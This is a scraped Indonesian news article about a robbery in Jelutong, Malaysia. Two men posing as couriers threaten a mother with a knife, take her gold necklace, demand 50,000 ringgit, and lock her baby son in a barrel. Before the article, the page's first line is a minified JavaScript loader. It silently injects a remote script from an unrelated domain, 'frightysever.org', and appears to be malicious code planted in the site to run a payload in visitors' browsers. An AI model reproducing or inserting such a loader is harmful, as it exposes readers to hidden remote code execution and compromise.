(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Ngamuk Gegara Tak Diberi Uang Rp 174 Juta, Maling Sekap Bayi di Dalam Tong


KANALKALIMANTAN.COM, MALAYSIA – Dua orang pencuri tega menyekap bayi di dalam tong usai naik pitam lantaran permintaan mereka ke korban tak digubris.

Kedua maling ini awalnya meminta seorang ibu yang rumahnya mereka bobol, untuk memberikan uang sebanyak Rp 174 juta.

Mengetahui permintaan dua pencuri ini, si ibu bersikeras menolak untuk mengabulkan permintaan mereka. Keduanya pun mengambil paksa seorang bayi yang berjenis kelamin laki-laki.

Menyadur Harian Metro, Minggu (21/2/2021) peristiwa perampokan tersebut terjadi di sebuah rumah susun di Jalan Van Praagh, Jelutong, Malaysia.

Untuk melancarkan aksinya, dua pria ini mengaku sebagai kurir dan minta dibukakan pintu oleh korban.

Ilustrasi bayi. (Pixabay)

Kapolres Timur Laut Asisten Kompol Soffian Santong mengatakan, korban yang juga seorang ibu rumah tangga berusia 30 tahun itu didatangi kedua tersangka di rumahnya pada pukul 10.30 waktu setempat.

Soffian bilang, mereka memperkenalkan diri sebagai kurir dari sebuah perusahaan pengiriman yang akan mengantarkan barang.

“Setelah korban membukakan pintu, salah satu tersangka mengeluarkan pisau dan meminta agar perempuan tersebut tidak berteriak.

Kalung emas milik korban senilai 1.200 ringgit (Rp 4,1 juta) diambil tersangka. Kemudian kedua pelaku meminta uang 50.000 ringgit (Rp 174 juta), katanya Soffian.

Marah dengan korban yang tidak memberikan uang sebanyak itu, sambungnya, dua tersangka langsung menyekap bayi laki-laki korban di dalam tong.

Sementara itu, anak perempuan korban berusia tiga tahun berhasil selamat dan tidak dianiaya pelaku.

“Setelah gagal mendapatkan uang yang diminta, kedua tersangka pergi dan meninggalkan rumah korban.” jelas Soffian.

Saat kejadian, beber Sooffian, suami korban tidak ada di rumah karena bekerja di Batu Kawan sebagai project site manager.

Adapun pihak kepolisian tengah melanjutkan penyelidikan dan secara aktif melacak kedua tersangka. Kondisi korban masih belum diketahui.(Suara)

Editor : Suara

 

 

 

 


Al Ghifari

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

2 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

2 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

5 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

8 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

20 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

22 jam ago

This website uses cookies.